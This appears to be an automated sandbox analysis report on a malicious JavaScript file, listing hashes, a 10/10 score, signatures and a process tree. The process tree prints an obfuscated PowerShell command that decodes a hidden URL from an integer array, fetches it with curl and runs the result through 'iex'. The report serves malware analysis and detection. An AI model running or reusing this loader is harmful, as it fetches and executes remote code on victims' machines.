Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
02-10-2024 01:19
General
-
Target
62930c952afb6d192393e97ac72bb2de9d0bf769ee71bad91450b481016c9749.js
-
Size
162KB
-
MD5
73de7d2bb65d65434b40c9271da30551
-
SHA1
7f11ab042394a995281bbd2c72ff1ce367500c47
-
SHA256
62930c952afb6d192393e97ac72bb2de9d0bf769ee71bad91450b481016c9749
-
SHA512
755b2794508de68c61e96ab41d23119d86c5f1fe95272ad771294274f25cbe8ff09a619d6e491b9f021c51bf55f6eeff3a82f9f79f2dc9325c4958c6b9d08925
-
SSDEEP
3072:tVfWCjQDKlD9MQq08bxASXoFsTgIR6qSBEoyugtWgKsk/SMp:tTjHlphQaFsUu6t6t+Bp
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\62930c952afb6d192393e97ac72bb2de9d0bf769ee71bad91450b481016c9749.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $fszcilv='ur';new-alias press c$($fszcilv)l;$eftzivff=(2825,2827,2844,2834,2840,2833,2840,2839,2836,2768,2838,2833,2834,2769,2771,2768,2834,2826,2834,2785,2837,2783,2831,2827,2832,2838,2837,2771,2773);$jkhwojgvklqwb=('bronx','get-cmdlet');$rwvrkxwyvev=$eftzivff;foreach($uhuqdpce in $rwvrkxwyvev){$kipqkfqkgy=$uhuqdpce;$yvsvcyp=$yvsvcyp+[char]($kipqkfqkgy-2722);$nkgsyoqta=$yvsvcyp;$ldopbcpvcb=$nkgsyoqta};$ncfsro[2]=$ldopbcpvcb;$cfbaiv='rl';$jfnqxtxbwrgq=1;.$([char](9992-9887)+'e'+'x')(press -useb $ldopbcpvcb)1⤵
- Process spawned unexpected child process